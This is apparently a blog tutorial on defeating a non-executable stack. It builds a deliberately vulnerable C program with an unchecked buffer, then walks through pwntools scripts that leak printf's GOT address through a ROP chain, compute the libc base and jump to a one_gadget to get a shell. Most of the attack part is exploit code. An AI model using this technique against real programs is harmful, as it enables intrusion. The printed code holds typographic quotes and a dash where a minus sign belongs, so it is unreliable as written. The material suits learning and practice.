bypassing non executable stack by abusing C functions to leak addresses from GOT

taodai
4 min readOct 5, 2020

So lately ive been studying and practicing binary exploitation and i thought it would be a good idea to share some of the tricks that i learned with you !

In this article we will try to defeat the NX feature and abuse c functions to leak from the global offset table aka “GOT” which contain the resolved addresses by the procedure linkage table aka “PLT”, ill leave you with a good resource which explain them in depth https://syst3mfailure.github.io/ret2dl_resolve

lets start by taking a look at our vulnerable binary source code

#include <stdio.h>

void getMessage()
{
char msg[200];
printf(“Enter message: “);
scanf(“%s”,msg);
// do something.
printf(“The message has been received.”);
}

int main()
{
setvbuf(stdin,0,2,0); // to set input and output buffer zero, to serve on network.
setvbuf(stdout,0,2,0);
getMessage();
return 0;
}

as we can see the program is quite simple to understand , we can observe the getMessage() function which assign a buffer worth 200 bytes of size and then it copy the user input to that buffer without performing any checks. Now lets compile our program using gcc gcc vuln.c -o vuln-fno-stack-protector -no-pie

for analyzing and debuging purposes we will be using the gnu debuger “GDB”

As we can see from the above output that we just overwrite the RIP register with 0x41 (A) , lets try to generate a unique pattern so we can get the exact offset

the RIP gets overwritten after 216 byte and since we cant return back to stack because of the NX we will try to leak from the got using printf@plt

cool now we know where our resolved printf will be stored “0x404018”

so lets start by building a simple python leaker , for this we need the format string parameter and 2 gadgets that will help us poping arguments to rdi ,rsi registers for the prinf and for this we will be using ROPgadget tool

nice ! now lets build the leaker

#!/usr/bin/env python3
from pwn import *
context.log_level = ‘DEBUG’
p = process(‘./vuln’)
printf_got = p64(
0x404018)
printf_plt = p64(0x0000000000401030)

pop_rdi = p64(0x000000000040123b)
pop_rsi_r15 = p64(0x0000000000401239)

format = p64(0x403018)

buff = “A”*216
buff += pop_rdi
buff += format
buff += pop_rsi_r15
buff += printf_got
buff += p64(0x0)
buff += printf_plt
p.recvrepeat(0.1)
p.sendline(buff)

log.info(‘payload sent …’)

log.info(‘waiting for response’)
p.recvuntil(“received.”)
leak = u64(p.recv(6).ljust(8, “\x00”))

log.info(‘printf address: ‘ + hex(leak))

and boom! we got a leak , now we can search in the libc database for the last 3 bytes of our address which is “cb0”, but in this case i know which libc m using for this so ill try to dump my functions offsets locally using “dump” from https://github.com/niklasb/libc-database, next thing we need to get the libc base address by calculating:

libc_base = printf_address — printf_offset

there is two ways to exploit this either we use system and str_bin_sh functions to get shell or we can try to find a one gadget using the command

one_gadget /lib/x86_64-linux-gnu/libc.so.6

that will execute shell and make it much easier for us

as we can see it require 2 null registers and the rest are alredy 0 by default , now lets write our final exploit !

#!/usr/bin/env python3
from pwn import *
context.log_level = ‘DEBUG’
p = process(‘./vuln’)
printf_got = p64(0x404018)
printf_plt = p64(0x0000000000401030)

pop_rdi = p64(0x000000000040123b)
pop_rsi_r15 = p64(0x0000000000401239)

format = p64(0x403018)
start = p64(0x0000000000401060)

buff = “A”*216
buff += pop_rdi
buff += format
buff += pop_rsi_r15
buff += printf_got
buff += p64(0x0)
buff += printf_plt
buff += start

log.info(‘payload sent …’)
log.info(‘waiting for response’)
p.recvrepeat(0.1)
p.sendline(buff)
p.recvuntil(“received.”)
leak = u64(p.recv(6).ljust(8, “\x00”))

log.info(‘printf address: ‘ + hex(leak))

printf_add = 0x7f8c6d447cb0
printf_offset = 0x056cb0
libc_base = printf_add — printf_offset

log.info(‘libc base: ‘ + hex(libc_base))
one_gadget = libc_base + 0xcbce0

p.recvrepeat(0.1)

payload = “A” * 216
payload += pop_rdi
payload += p64(0)
payload += pop_rsi_r15
payload += p64(0)
payload += p64(0)
payload += p64(one_gadget)
p.sendline(payload)
p.interactive()

and boom we got a shell ! so today we learned how to abuse the binary c functions in order to leak from global offset table and defeat NX

Hope you guys enjoyed this writeup and all feedbacks are appreciated !

--

--